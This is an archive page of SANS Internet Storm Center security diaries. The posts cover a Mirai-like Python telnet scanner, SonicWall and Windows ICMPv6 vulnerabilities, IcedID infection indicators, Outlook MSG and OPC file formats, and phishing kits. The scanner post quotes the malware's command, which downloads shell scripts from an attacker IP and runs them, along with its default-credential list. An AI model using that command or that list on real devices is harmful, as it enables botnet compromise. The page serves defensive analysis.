Category Archives: Security

Mirai-alike Python Scanner, (Tue, Oct 20th)

This post was originally published on this site

Last week, I found an interesting Python script that behaves like a Mirai bot[1]. It scans for vulnerable devices exposing their telnet (TCP/23) interface in the wild, then tries to connect using a dictionary of credentials. The script has been uploaded to VT and has a low score of 2/59[2]. Indeed, it does not contain suspicious strings nor API calls. Just a simple but powerful scanner.

Here are the commands injected when a device is found with vulnerable credentials:

rekdevice = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://45.148.10.84/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 45.148.10.84 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 45.148.10.84; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 45.148.10.84 ftp1.sh ftp1.sh; sh ftp1.sh tftp1.sh tftp2.sh ftp1.sh" #command to send

The IP address %%ip:45.148.10.84%% is offline at the moment but has already a bad reputation and is present in multiple blocklists.

Here is the list of credential pairs tested:

combo = [
        "root:root",
        "root:",
        "admin:admin",
        "telnet:telnet",
        "support:support",
        "user:user",
        "admin:",
        "admin:password",
        "root:vizxv",
        "root:admin",
        "root:xc3511",
        "root:888888",
        "root:xmhdipc",
        "root:default",
        "root:juantech",
        "root:123456",
        "root:54321",
        "root:12345",
        "root:pass",
        "ubnt:ubnt",
        "root:klv1234",
        "root:Zte521",
        "root:hi3518",
        "root:jvbzd",
        "root:anko",
        "root:zlxx.",
        "root:7ujMko0vizxv",
        "root:7ujMko0admin",
        "root:system",
        "root:ikwb",
        "root:dreambox",
        "root:user",
        "root:realtek",
        "root:00000000",
        "admin:1111111",
        "admin:1234",
        "admin:12345",
        "admin:54321",
        "admin:123456",
        "admin:7ujMko0admin",
        "admin:1234",
        "admin:pass",
        "admin:meinsm",
        "admin:admin1234",
        "root:1111",
        "admin:smcadmin",
        "admin:1111",
        "root:666666",
        "root:password",
        "root:1234",
        "root:klv123",
        "Administrator:admin",
        "service:service",
        "supervisor:supervisor",
        "guest:guest",
        "guest:12345",
        "guest:12345",
        "admin1:password",
        "administrator:1234",
        "666666:666666",
        "888888:888888",
        "tech:tech",
        "mother:fucker"
]

The script is pretty well written and is multi-threaded to speed up the scan:

for l in xrange(threads):
    try:
        t = threading.Thread(target=worker)
        t.start()
    except:
        pass

The script does not implement a random IP address generator, it just uses the zmap[3] scanner:

zmap -p23 -N 10000 -f saddr -q --verbosity=0

This command will return 10000 IP addresses that expose a telnet port. 

The question that arises when you find this kind of script is: "Can we really find so many devices exposing a telnet interface into the wild in 2020?". I did my own test and launched the above zmap command. In a few seconds, 10K IP addresses were returned. Then, I used the nmap scanner with the 'banner' script to grab telnet banners:

nmap -sC --script=banner -p 23 -Pn -iL open-telnet.txt -oA telnet-banners -v -n

I found a lot of banners that disclose the type of devices (routers, WiFi access points, switches, VoIP gateways, IoT, …). More interesting, a found some devices still bricked by the BrickerBot:

# telnet x.x.x.x
Trying x.x.x.x...
Connected to x.x.x.x.
Escape character is '^]'.

Internet Chemotherapy Part 11 - BrickerBot (TM) Source Drop (7/31 2020):
  hxxp://depastedihrn3jtw[.]onion/show.php?md5=20735856837081a18e6f0edf2c1e8d76

Internet Chemotherapy Part 12 - Third Time is the Charm? (9/6 2020)
  hxxp://depastedihrn3jtw[.]onion/show.php?md5=4c17df6b30ed2704082465d9a1c4ea86

DeepPaste is temperamental (unreachable 75% of time) so if the links are not
loading then try again later.

Update 10/3: So I have been looking into reconditioning Tenda/Intelbras, Genexis and Zte routers..
             Still WIP but seen some positive impact over the last few days/weeks.
Update 10/6: ..and Totolink.. 10/9: some new tricks for netis, TVT and Tata Consulting.. what next?
Update 10/17: Getting in the Zhone.. seeing real IoT action in 2020 at last

(none) login:

I found plenty of notifications and disclaimers warning you that connecting to the device is prohibited, your IP will be logged, etc. Please, don't waste your time to implement such unuseful banners, just get rid of telnet!

[1] https://www.cyber.nj.gov/threat-center/threat-profiles/botnet-variants/mirai-botnet
[2] https://www.virustotal.com/gui/file/89daf232e0658103883fa05b8968093675b5aa4b6be3fdbd46757144095daf64/details
[3] https://github.com/zmap/zmap

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

File Selection Gaffe, (Sun, Oct 18th)

This post was originally published on this site

Have you ever sent out the wrong file? I know it has happened to me, attaching the wrong file to an email.

And it happens to malicious actors too.

A reader sent us a malicious email with an attachment: PURCHASE ORDER.mmp

You must be thinking the same as me: what is an .mmp file? Microsoft Project? No, that seems to be .mpp.

Looking at it with a binary editor, it does seem to be some kind op project file:

I searched further for strings that might give me a clue, and found this:

Gammadyne Mailer is email marketing software.

This malicious actor sent out the project file for their mailing campaign!

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

CVE-2020-5135 – Buffer Overflow in SonicWall VPNs – Patch Now, (Sat, Oct 17th)

This post was originally published on this site

Discovered by Tripwire VERT, CVE-2020-5135 is a buffer overflow vulnerability in the popular SonicWall Network Security Appliance (NSA) which can permit an unauthenticated bad guy to execute arbitrary code on the device.

The following versions of SonicWall are vulnerable:
SonicOS 6.5.4.6-79n and earlier
SonicOS 6.5.1.11-4n and earlier
SonicOS 6.0.5.3-93o and earlier
SonicOSv 6.5.4.4-44v-21-794 and earlier
SonicOS 7.0.0.0-1

After some research, I am unclear how many devices may be vulnerable to this attack. Tenable/Tripwire implies it could be up to approximately 800,000 devices (as detected by Shodan).  

I expect that not all of these devices have the VPN enabled, and some have been updated already, so the number is probably quite a bit lower, but still significant. 

I have not been able to find a way to remotely detect which devices are vulnerable.  Nmap can be used to detect SonicWall instances, but does not provide enough information to determine the OS version or probe for the vulnerability.

PORT      STATE    SERVICE        REASON         VERSION
80/tcp    open     http-proxy     syn-ack ttl 53 SonicWALL SSL-VPN http proxy
|_http-server-header: SonicWALL SSL-VPN Web Server
443/tcp   open     ssl/http-proxy syn-ack ttl 53 SonicWALL SSL-VPN http proxy
|_http-server-header: SonicWALL SSL-VPN Web Server
50001/tcp filtered unknown        no-response

If any of you know of a reliable scanning technique to detect this vulnerability please let me know at our contact page and I will update the diary.

SonicWall released updates last week which fix this vulnerability and several others. Although no known exploit has been detected in the wild.  I expect, give recent historical attacks on VPNs, I would expect this one will get a lot of interest from bad guys. I strongly recommend updating as soon as reasonable.

More information can be found at the following links:
https://www.bleepingcomputer.com/news/security/critical-sonicwall-vulnerability-affects-800k-firewalls-patch-now/
https://www.tripwire.com/state-of-security/vert/sonicwall-vpn-portal-critical-flaw-cve-2020-5135/
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2020-0010

 

— Rick Wanner MSISE – rwanner at isc dot sans dot edu – http://namedeplume.blogspot.com/ – Twitter:namedeplume (Protected)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

CVE-2020-5135 – Buffer Overflow in SonicWall VPNs – Patch Now, (Sat, Oct 17th)

This post was originally published on this site

Discovered by Tripwire VERT, CVE-2020-5135 is a buffer overflow vulnerability in the popular SonicWall Network Security Appliance (NSA) which can permit an unauthenticated bad guy to execute arbitrary code on the device.

The following versions of SonicWall are vulnerable:
SonicOS 6.5.4.6-79n and earlier
SonicOS 6.5.1.11-4n and earlier
SonicOS 6.0.5.3-93o and earlier
SonicOSv 6.5.4.4-44v-21-794 and earlier
SonicOS 7.0.0.0-1

After some research, I am unclear how many devices may be vulnerable to this attack. Tenable/Tripwire implies it could be up to approximately 800,000 devices (as detected by Shodan).  

I expect that not all of these devices have the VPN enabled, and some have been updated already, so the number is probably quite a bit lower, but still significant. 

I have not been able to find a way to remotely detect which devices are vulnerable.  Nmap can be used to detect SonicWall instances, but does not provide enough information to determine the OS version or probe for the vulnerability.

PORT      STATE    SERVICE        REASON         VERSION
80/tcp    open     http-proxy     syn-ack ttl 53 SonicWALL SSL-VPN http proxy
|_http-server-header: SonicWALL SSL-VPN Web Server
443/tcp   open     ssl/http-proxy syn-ack ttl 53 SonicWALL SSL-VPN http proxy
|_http-server-header: SonicWALL SSL-VPN Web Server
50001/tcp filtered unknown        no-response

If any of you know of a reliable scanning technique to detect this vulnerability please let me know at our contact page and I will update the diary.

SonicWall released updates last week which fix this vulnerability and several others. Although no known exploit has been detected in the wild.  I expect, give recent historical attacks on VPNs, I would expect this one will get a lot of interest from bad guys. I strongly recommend updating as soon as reasonable.

More information can be found at the following links:
https://www.bleepingcomputer.com/news/security/critical-sonicwall-vulnerability-affects-800k-firewalls-patch-now/
https://www.tripwire.com/state-of-security/vert/sonicwall-vpn-portal-critical-flaw-cve-2020-5135/
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2020-0010

 

— Rick Wanner MSISE – rwanner at isc dot sans dot edu – http://namedeplume.blogspot.com/ – Twitter:namedeplume (Protected)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Traffic Analysis Quiz: Ugly-Wolf.net, (Fri, Oct 16th)

This post was originally published on this site

Introduction

It's that time of the month again…  Time for another traffic analysis quiz!  This one is from a Windows 10 client logged into an Active Directory (AD) environment.  Details follow:

  • LAN segment:  10.10.16.0/24 (10.10.16.1 through 10.10.16.255)
  • Domain Controller:  Ugly-Wolf-DC at 10.10.16.6
  • Gateway:  10.10.16.1
  • Broadcast address:  10.10.16.255

The pcap and alerts are available on my Github repository at:

The zip archives are password-protected with the term: infected

The alerts archive contains an image of alerts and a text file with the same information.


Shown above:  Alerts image for this quiz, with the alerts blurred (you'll have to download the alerts file to see them).

The alerts file was created using Security Onion running Suricata using the EmergingThreats Pro ruleset, and the alerts were viewed using Sguil.

The alerts should give away the type of infection(s) happening on the Windows computer at ugly-wolf.net.  Since this is an AD environment, you should also be able to find the user account name that was logged into the Windows host before it became infected.  In a real-world situation, this could help you track down an infected user and perform incident response actions.

You can also use this quiz to practice drafting an incident report.

If the answers are not obvious, feel free to leave a comment in the comments section, and I'll answer when I get the time.


Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

CVE-2020-16898: Windows ICMPv6 Router Advertisement RRDNS Option Remote Code Execution Vulnerability, (Thu, Oct 15th)

This post was originally published on this site

 

For more details, see also the YouTube video I just published:

One vulnerability that got defenders' (including mine) attention this week was CVE-2020-16898. The vulnerability, sometimes called "Bad Neighbor," can be used to execute arbitrary code on a Windows system. To exploit the vulnerability, an attacker has to send a crafted ICMPv6 router advertisement.

What Are Router Advertisements?

I (and probably others) have called them sometimes "DHCP Lite." IPv6 relies less on DHCP to manage IP addresses. After all, we got plenty of them, and the need to "recycle" IP addresses pretty much went away. A router will send router advertisements periodically or in response to a router solicitation sent by a host that just joined the network. All hosts that "speak" IPv6 will listen for router advertisements to learn about the network configuration. Even if you use DHCPv6, you still need router advertisements to know about the default gateway.

One more recently added option includes a list of recursive DNS servers. This "completes" the DHCP-Lite analogy by offering a gateway, IP address(es), and DNS servers. The same data usually found in DHCP servers.

How are recursive DNS servers (RDNSS) encoded in router advertisements?

Router advertisement options follow the standard "Type/Length/Value" format. They start with a byte indicating the type (25 = RDNSS), followed by a byte indicating the length, two reserved bytes, and a 4-byte "lifetime." Plus, of course, the DNS server IP addresses.

rddns option layout

As typical for IPv6, the length is indicated in 8-byte increments. So a length of "1" indicates that our option is 8 bytes long. The initial fields (Type, Length, Reserved, Lifetime) are exactly 8 bytes long. Each IP address is 16 bytes long.

For one IP address, our length would be "3". Each additional IP address adds another "2" (2 x 8 Bytes). As a result, the length has to be always odd.

The vulnerability is triggered if the length is even, and larger then 3. For example, consider this packet with a length of "4":

The last eight bytes of the second IP address are no longer included in the length. And this is exactly where Windows gets confused. Wireshark gets a bit confusing, as well:

Wireshark still displays both IP addresses but also recognizes that there is data beyond the option length.

How bad is it?

It is bad in that this allows arbitrary code execution. But an attacker has to be able to send the packet from the victim's network. Even an exposed host can not be attacked from "across the internet," only within a subnet. An attacker will also have to overcome anti-exploit features in Windows 10 (address layout randomization and such), requiring a second information leakage, vulnerability, and exploit.

What can I do?

Patching is probably the simplest, most straightforward solution, which is least likely to cause problems. Other options:

  • Microsoft offers the ability to turn off the RDNSS feature as an option. This could, of course, come back to haunt you later as you start using the option.
  • Various IDSs have released signatures to detect the attack.
  • Some switches offer a "Router Advertisement Guard" feature that can limit router advertisements. Maybe it will help.
  • Did I mention that you should get it over with and patch?

Microsoft Advisory: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16898
 


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

More TA551 (Shathak) Word docs push IcedID (Bokbot), (Wed, Oct 14th)

This post was originally published on this site

Introduction

The TA551 (Shathak) campaign continues to push IcedID (Bokbot) malware since I last wrote a diary about it in August 2020.  The template for its Word documents has been updated, but otherwise, not much has changed.  This campaign has also targeted non-English speaking targets with other types of malware, but I've only seen English speaking victims with IcedID since mid-July 2020.


Shown above:  Flow chart for TA551 activity since mid-July 2020.

Today's diary reviews an infection from the TA551 campaign on Tuesday 2020-10-13.

Delivery method

TA551 still uses password-protected zip archives attached to emails.  These zip archives contain a Word document with macros designed to infect vulnerable Windows hosts with IcedID.  Malspam from TA551 uses legitimate email chains stolen from mail clients on previously-infected Windows hosts,  These emails attempt to spoof the sender by using a name from the email chain as an alias for the sending address.  Examples from this malspam campaign submitted to VirusTotal usually have some, if not all, of the email chain removed or redacted.


Shown above:  Screenshot from a recent example of TA551 malspam from Tuesday, 2020-10-13.

Passwords for the attached zip archives are different for each email.  Victims use the password from the message text to extract a Word document from the zip attachment.


Shown above:  Using password from the message text to open the zip archive and get to the Word document.

Infection activity

An infection starts when a victim enables macros on a vulnerable Windows host while ignoring any security warnings.


Shown above:  Screenshot of a Word document extracted from one of the password-protected zip archives.

Enabling macros causes a vulnerable Windows host to retrieve a Windows DLL file from a URL ending with .cab.  This DLL is saved to the host and run using regsvr32.exe.  The DLL is an installer for IcedID.


Shown above:  HTTP GET request to URL ending with .cab returned a Windows DLL file.


Shown above:  The DLL is saved to a victim's C:ProgramData directory with a .txt file extension.


Shown above:  Traffic from the infection filtered in Wireshark.

Forensics on an infected Windows host

After the DLL is run using regsvr32.exe, the victim's Windows host retrieves a PNG image over HTTPS traffic.  This initial PNG is saved to the victim's AppDataLocalTemp directory with a .tmp file extension.  The PNG image has encoded data that the DLL installer uses to create an EXE for IcedID.  This EXE is also saved to the AppDataLocalTemp directory.


Shown above:  PNG and initial IcedID EXE saved to the victim's AppDataLocalTemp directory.

During the infection process, the initial EXE for IcedID generates more HTTPS traffic, and we find another PNG image saved somewhere under the victim's AppDataLocal or AppDataRoaming directories.  This second PNG also contains encoded data.

Shown above:  Another PNG image with encoded data created during the infection process.

Finally, we see another EXE for IcedID saved to a new directory and made persistent through a scheduled task.  This persistent EXE is the same size as the first EXE, but it has a different file hash.


Shown above:  EXE for IcedID persistent on the infected Windows host.

Indicators of Compromise (IOCs)

22 examples of SHA256 hashes for TA551 Word docs with macros for IcedID (read: SHA256 hash  file name):

  • d90cac341ea9f377a9a20b2cc2f098956a2b09c1a423a82de9af0fa91f6d777c  bid_010.20.doc
  • f6fcd5702a73bba11f71216e18e452c0a926c61b51a4321314e4cdbebf651bf4  certificate-010.13.20.doc
  • a0224c5fd2cfd0030f9223cc84aef311f7cc320789ca59d4f846dbc383310dce  charge.010.13.20.doc
  • 121451c0538037e6e775f63aa57cd5c071c8e2bf1bda902ab5acbefd99337ebb  command.010.20.doc
  • d220e39e4cfac20fcffdecafc1ccfd321fecd971e51f0df9a4df267c3a662cbe  command_010.20.doc
  • 4cdbcfdd9deec0cd61152f2e9e1ba690640dc0bf3c201a42894abcf37c961546  commerce -010.20.doc
  • 9fa50c60e8dda3f9207e6f5d156df5f9bedd9e1b8a2837861b39245052f27482  decree,010.13.2020.doc
  • 4d0defd5dc6f7691c9b3f06ec2b79694c58f9835e5dec65ad7185957fae44081  details.010.13.2020.doc
  • b81b017a518c71ecc83835f31c3bc9dd9f0fac2bc0fa4f07bd0abff75f507d91  direct-010.20.doc
  • d7eb2833615397fd9c7538c1f31c408e3548d50baaca109f5136b14a424aa1ba  enjoin,010.13.20.doc
  • cf6b55d6cdeee06d03c197eebcdb5e7c9fe8277e5e626426610305192dcf0b00  enjoin_010.13.2020.doc
  • 4dadeaa387616bfc80eb61f521d7a4cb03f6055a64811eaab9c2429723d62823  file 010.13.2020.doc
  • 67e502cc48b587f78ee637cd7f522f2ea6026bbe87921ecd43e0fae11c64f775  instruct-010.20.doc
  • 35fe201a9da94441c3375106dd75c09de9c281b5a1de705448f76ed5a83978ad  instrument indenture-010.13.2020.doc
  • 0d6f7dbd45829aa73f0258440816fdb259599a64df328664ca4714cde5dd4968  intelligence 010.13.2020.doc
  • 6dc7a98930d5541fc9a01f8f71a2c487c51bb8391627a1e16a81d1162c179e80  legal agreement-010.13.2020.doc
  • 2cdbd4ac39b64abd42931d7c23dd5800ca0be0bcd0e871cf0c5e065786437619  official paper-010.20.doc
  • 2d934205d70f10534bb62e059bab4eb2e8732514f7e6874cb9588b2627210594  prescribe .010.20.doc
  • 96f991df625e19fb3957dafe0475035dd5e6d04c7ff7dad819cc33a69bcde1c9  question-010.13.2020.doc
  • 5e3c9cd19c33b048736ccaecf0ebbbab51960cdc5c618970daa6234236c0db01  question.010.20.doc
  • 64567431faf0e14dacab56c8b3d7867e7d6037f1345dc72d67cd1aff208b6ca7  report 010.13.2020.doc
  • 34b84e76d97cf18bb2d69916ee61dbd60481c45c9ac5c7e358e7f428b880859f  rule_010.13.2020.doc

At least 12 domains hosting installer DLL files retreived by Word macros:

  • aqdcyy[.]com – 185.66.14[.]66
  • akfumi[.]com – 193.187.175[.]114
  • ar99xc[.]com – 194.31.237[.]158
  • bn50bmx[.]com – 45.153.75[.]33
  • h4dv4c1w[.]com – 94.250.255[.]189
  • krwrf1[.]com – 78.155.205[.]102
  • mbc8xtc[.]com – 193.201.126[.]251
  • osohc6[.]com – 45.150.64[.]70
  • pdtcgw[.]com – 45.89.67[.]166
  • qczpij[.]com – 194.120.24[.]6
  • t72876p[.]com – 178.250.156[.]128
  • vwofdq[.]com – 80.85.157[.]227

HTTP GET requests for the installer DLL:

  • GET /ryfu/bary.php?l=konu1.cab
  • GET /ryfu/bary.php?l=konu2.cab
  • GET /ryfu/bary.php?l=konu3.cab
  • GET /ryfu/bary.php?l=konu4.cab
  • GET /ryfu/bary.php?l=konu5.cab
  • GET /ryfu/bary.php?l=konu6.cab
  • GET /ryfu/bary.php?l=konu7.cab
  • GET /ryfu/bary.php?l=konu8.cab
  • GET /ryfu/bary.php?l=konu9.cab
  • GET /ryfu/bary.php?l=konu10.cab
  • GET /ryfu/bary.php?l=konu11.cab
  • GET /ryfu/bary.php?l=konu12.cab
  • GET /ryfu/bary.php?l=konu13.cab
  • GET /ryfu/bary.php?l=konu14.cab
  • GET /ryfu/bary.php?l=konu15.cab
  • GET /ryfu/bary.php?l=konu16.cab
  • GET /ryfu/bary.php?l=konu17.cab
  • GET /ryfu/bary.php?l=konu18.cab

25 examples of TA551 installer DLL files for IcedID:

  • aee6295dab6fd012e5bd1ee352317e56bef5789e2e83e7d5cc743161cedd957b
  • 121494579fe7d4be119875fa31aa8b573911a797d528e1819d42373e5380bf18
  • 23e672e1c94cc4dc6af971fc62c0ec84c3bcf38e997acd9bea1bea72d707e46a
  • 2ec72eeec8a8187faae32a8e8ba14bb6b17634f172fe834ccdf5b1f0b5ecda6f
  • 2f5e079f3548f68e0b597b439ac37cfde4d05d2c151a402c4953a777e4c3a5d4
  • 3957edd82568c0a36a640bcf97ac6c2c8a594007702641c9879799ca6173247e
  • 3d34785f2f6c2f6e58e7372104e74ceac405f58427785f654d39136182d7cb5d
  • 435fb59379dcbbc4831926f93196705de81fa9ee6c7e106fe99d4ffd58f8fd28
  • 463a0a1424b898c1965fb52a4a5fa8082014fb39bcdaab4c661989fffcaa0109
  • 53f94437c76cb9b5b4153fc36e38c34cf067cc8bce091505729a3ba507199c74
  • 63d55128088857806534c494ecb3f451354b1601a09ee3485300881c286351b7
  • 75ecd5d9f78fbcc887e9ee5559c4a470eacdbffb248f63a2008ad91dd1d5947f
  • 7bbfd3cdb378e8b5b966dcd76b83f1c4ed9004db4843d4ea4aef3cece3e04a67
  • 8e0aa02ea34b646cef7bd9c2f5092b1bc0c6e287c846c0874bb4332dd210a323
  • 8e342676ea2bb2cee9720ee731351bf380e109b773899ad8bdcdea965885b97d
  • c3c2fc97f5cbcdbf6940294d29d7b20fa587731e0ed34a3df9ffc60c6983cdad
  • c89b21e536599a0cbc96605fd8300c9d4797f67addcc4699f808cb07085c8725
  • cfdf1496a343c26a1d779cef6adf80f716b1334f01d48dfaef9ce4a6dc484020
  • d4da7382398a212b943aa7c18543e2c43d5867171371598e328cc0c3a2c27232
  • dba569d0cd4f2290c6fe272d7320ed5d88c99bf8a9eb5e393fc9063320b7b1de
  • dc3423e1039424f90a5c43e578fbf2761b22dc844d5b00864842d813874b51ec
  • e5294c852f5c8e914f3113446c90860b6273ca8f170652ca999fed8e8f856fa8
  • ecaca9ae95e94dbc976c80721085e6fc8ae36d47e905d784fcc3d178275d9de0
  • f46e785f0c2f4def40c95368853599d405294f52371d11998ab229193353c123
  • f58d50deb7d8017efa4d9a4c772b1c400f1d8f2ad31b7bd8efdaaf6d11d70233

Names/locations of the installer DLL files:

  • C:ProgramDataadSDv.txt
  • C:ProgramDataBNogX.txt
  • C:ProgramDataCCbhU.txt
  • C:ProgramDataCxvdv.txt
  • C:ProgramDatagJUdx.txt
  • C:ProgramDatakkDXV.txt
  • C:ProgramDataMNpGJ.txt
  • C:ProgramDataMrUJO.txt
  • C:ProgramDatapxNfw.txt
  • C:ProgramDataqteNy.txt
  • C:ProgramDataVPPOy.txt
  • C:ProgramDataVUccN.txt
  • C:ProgramDataWLOTG.txt
  • C:ProgramDataxJGCG.txt
  • C:ProgramDatayPWvE.txt

Run method for installer DLL files:

  • regsvr32.exe [filename]

HTTPS traffic to legitimate domains caused by the installer DLL files:

  • port 443 – www.intel.com
  • port 443 – support.oracle.com
  • port 443 – www.oracle.com
  • port 443 – support.apple.com
  • port 443 – support.microsoft.com
  • port 443 – help.twitter.com

At least 2 different URLs for HTTPS traffic generated by the installer DLL files:

  • 134.209.25[.]122 port 443 – jazzcity[.]top – GET /background.png
  • 161.35.111[.]71 port 443 – ldrpeset[.]casa – GET /background.png

2 examples of SHA256 hashes of IcedID EXEs created by installer DLLs:

  • afd16577794eab427980d06631ccb30b157600b938376cc13cd79afd92b77d0e  (initial)
  • 48c44bfd12f93fdd1c971da0c38fc7ca50d41ca383406290f587c73c27d26f76  (persistent)

HTTPS traffic to malicious domains caused by the above IcedID EXE files:

  • 143.110.176[.]28 – port 443 – minishtab[.]cyou
  • 143.110.176[.]28 – port 443 – novemberdejudge[.]cyou
  • 143.110.176[.]28 – port 443 – xoxofuck[.]cyou
  • 143.110.176[.]28 – port 443 – suddekaster[.]best
  • 143.110.176[.]28 – port 443 – sryvplanrespublican[.]cyou

Final words

A zip archive containing a pcap from today's infection is available here.  All DLL and EXE files from the IOCs have been submitted to the MalwareBazaar Database.


Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Nested .MSGs: Turtles All The Way Down, (Mon, Oct 12th)

This post was originally published on this site

A reader had problems extracting the attachment inside an .MSG file, and asked me for help.

Let me start with a simple .MSG file with one attachment (the same I used in diary entry “Analyzing MSG Files With plugin_msg_summary“).

__attach_version1.0_#00000000 is a storage (a storage in OLE files is like a folder: it can contain streams (comparable to files) and storages).

__attach_version1.0_ tells us this is the storage for an attachment, and 00000000 tells us it is the first attachment.

Inside that storage, you have different streams: __properties_version1.0 and __substg1.0_*

The 37 in __substg1.0_37* tells us these streams contain data/metadata of the attachment.

For example, 3701 is the “attachment data” (content) of the attachment, and 0102 stands for “binary data”:

And as you can see, for example, 3707 is metadata of the attachment: the long filename of the attachment in UNICODE (001F).

The short filename is an 8.3 filename.

To summarize: in .MSG files, the data (content) and metadata of attachments are stored inside streams that are stored inside a storage (one per attachment).

Now, the reader that asked me for help, had this:

Lots of entries with 3701000D. We know already that 3701 is the “attachment data”, but what is 000D (0102 is binary data)? 000D is a directory, a storage.

And __substg1.0_3701000D is a storage this time (it is followed by /…), not a stream.

What’s happening here, is that the attachment is an .MSG file. So this is an .MSG file, that contains another .MSG file as attachment.

In that case, Outlook will not store the attached .MSG file as a binary blob (37010102) but as an .MSG file with all its storages and streams (3701000D). So the attached .MSG file is not stored as a single data stream, but is decomposed in  all its elements (storages and streams) like a “normal” .MSG file is.

The direct result of this, is that you have much more streams and storages inside the “root” .MSG file.

An a practical result, is that you can directly search inside the attached .MSG file, without having to use a second instance of oledump to parse it.

For example, I can search for the subject of the .MSG files like this:

Here I’m grepping for 0037 (the code for Subject). I could also have grepped for string “Subject”, but then I would have more output: I would also have streams like “Subject (normalized)”, and I wanted to avoid this for this example.

We can see 2 subjects:

  1. “Microsoft Outlook Test Message” is the Subject of the attached .MSG file (stream 13)
  2. “Testing” is the Subject of the “root” .MSG file (stream 71)

So if you are dealing with attached .MSG files, their content is not stored inside a single stream (37010102), but it is decomposed in storages and streams, that are stored under one storage (3701000D) per attached .MSG file.

And this concept is recursive: you can have .MSG files inside .MSG files inside .MSG files … “Turtles all the way down” 🙂

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Open Packaging Conventions, (Sat, Oct 10th)

This post was originally published on this site

Office files like .docx, .xlsm, … are Office Open XML (OOXML) files: a ZIP container containing XML files and possibly other file types.

OOXML files follow the Open Packaging Conventions (OPC) format.

OPC files contain a /[Content_Types].xml file (describing the MIME format of all parts of the OPC container) and a _rels/.rels file (documenting the relationships inside the OPC container).

Like this .xlsm file:

In my experience with OOXML files, /[Content_Types].xml is the first ZIP record, and _rels/.rels is the second ZIP record.

When an OOXML file has been modified with a ZIP utility, it’s often the case that that order is no longer respected: files /[Content_Types].xml  and _rels/.rels  are no longer first and second (this has no impact on the parsing of these altered files by Office applications).

AFAIK, the OPC standard does not require these 2 files to be the first in the ZIP container.

Please post a comment if you know of OPC examples (there are other file formats than OOXML that are based on OPC) created by applications that do not put these 2 files first inside the ZIP container.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Phishing kits as far as the eye can see, (Fri, Oct 9th)

This post was originally published on this site

If you’ve never delved too deep into the topic of phishing kits, you might – quite reasonably – expect that they would be the sort of tools, which are traded almost exclusively on dark web marketplaces. This is however not the case – many phishing kits (or “scam pages” or “scamas” as they are called by their creators) are quite often offered fairly openly on the indexed part of the web as well, as are the corresponding “letters” (i.e. the e-mail templates), e-mail validity checkers and other related tools. You may take a look at what is out there yourself – simply search for “scam page” along with the name of your favorite large bank or major online service on Google…

Since I haven’t done so in a while, last weekend I decided to take a look at phishing kits that are available on the “surface” web – more specifically, at those, which have been published during this year. I thought it might be interesting to see what their prices were, which brands and services they “covered” the most and whether there would be any significant increase in the number of phishing kits on offer in the second and third quarter of the year (i.e. in relation to the Covid-19 situation).

The idea was to gather information on at least 100 different phishing kits, as although it would not be a large sample size by any means, it should be enough to give us at least some idea of how things stood. I started by looking at YouTube and planned to go through Google, GitHub and a few file upload and e-commerce sites afterwards. Since I have, however, managed find 104 kits for sale/free download from this year on YouTube alone, just using the first search term I tried, I decided to stop there.

Each of the phishing kits was presented in a standalone video showing its capabilities. Most of the videos had terms “undetected” and “clean” in their titles in an attempt to make the phishing kits look more desirable (and definitely not backdoored).

Some of the videos were offering e-mail templates, access to complex phishing platforms, or tutorials in addition to the scam pages themselves, either as part of a bundle with specific phishing kit or at a premium. Similar selection of additional tools and other materials was available on external e-commerce platforms, where some the kits shown off in the videos were sold.

Of the 104 kits, 18 were offered free of charge (and at least one of these was backdoored – this wasn’t mentioned in the video description so it was probably intended as a surprise bonus feature). For 76 of them, price was available by e-mail/ICQ/Telegram/Facebook only and the 10 remaining ones ranged in price from $10 to $100.

The 86 “commercial” phishing kits were offered by 21 sellers, with the most prolific one of them being responsible for 22 different scam pages.

At all, the phishing kits “simulated” sites of 53 different services or brands, from Adobe to Zoom. You may take a look at all of the services and brands, which were “used” by at least two different phishing kits, in the following chart. It probably won’t come as a much of a surprise that PayPal and Office 365 were the two “covered” the most often, but some of the others (e.g. Free Fire) might be a bit unexpected.

It should be mentioned that although most global phishing statistics published for 2020 so far [1,2] don’t show any significant rise in the numbers of spam and phishing e-mails in the wild in relation to Covid-19, the frequency of publishing new phishing kits on “surface” web (or at least on YouTube) seems to have increased significantly from the second half of March onward.

Whether this increase is due to the Covid-19 situation or because YouTube managed to clear most of the phishing kit videos from the first quarter of this year is impossible to say with any certainty, though I tend to lean towards the former explanation being the more probable one.

In any case, as this short excursion to YouTube shows, even on the indexed part of the web there are phishing kits galore…and there is little reason to expect that it will be much different in the near future. Therefore, if you work in infosec in any organization, whose customers might be a good target for semi-targeted phishing, try looking for phishing kits spoofing your brand or service on Google from time to time – you might be surprised at what you find…

